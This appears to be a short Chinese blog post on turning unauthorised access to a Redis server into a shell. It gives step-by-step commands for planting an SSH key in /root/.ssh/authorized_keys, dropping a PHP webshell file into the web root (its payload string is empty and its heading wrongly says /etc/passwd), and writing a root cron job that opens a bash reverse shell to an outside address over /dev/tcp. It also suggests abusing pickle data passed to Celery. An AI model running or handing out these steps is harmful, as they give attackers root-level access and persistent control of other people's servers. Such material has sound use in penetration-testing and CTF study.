redis未授权访问getshell方法

前言

当我们通过未授权访问或弱密码成功访问redis服务器是,我们应该怎样进一步获取权限呢?


信息收集


未授权连接
redis-cli -h 127.0.0.1 -p 6379
带密码连接
redis-cli -h 127.0.0.1 -p 6379 -a password

info   # 服务器命令
keys * # 检索所有键(生产服务器慎用,ctf随意) 
get 某个key # 查看键对应的值
del 某个key # 删除该键值对
config get * # 查看config信息
config set xxx yyy # 设置config信息

善用&慎用flushdb和flushall(只有ctf敢用)

redis数据库文件格式


RDB文件是二进制文件
详情可以参考Redis-RDB-Dump-File-Format

redis写authorized_keys

首先,生成密钥对(如果有,可跳过)
ssh-keygen -t rsa
然后,为了方便,我们生成一个临时文件(工作目录在密钥所在目录)
(echo -e "\n\n\n"; cat id_rsa.pub; echo -e "\n\n\n") > pub.txt
接着,连接redis并存储数据到redis上
cat pub.txt| redis-cli -h 192.168.2.155 -p 6379 -a 1q2w3e4r -x set gaia
再后来,设置目录,并保存文件(可以考虑尝试别的用户)
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
exit
最后,通过私钥连接登入服务器
ssh -i id_rsa [email protected]

redis写/etc/passwd


flushdb
config set dir /var/www/html/
config set dbfilename "gaia.php"
set gaia ""
save
exit

菜刀连接

redis写定时任务反弹shell


config set dir /var/spool/cron/
config set dbfilename root
set x "\n* * * * * bash -i >& /dev/tcp/192.168.2.155/2333 0>&1\n"
save
(有待测试,ubuntu测试不成功)

修改redis中数据,结合别的应用getshell

比如:redis里面缓存的数据是传递给celery的,而且恰好是用的pickle格式数据。

你可能感兴趣的:(redis未授权访问getshell方法)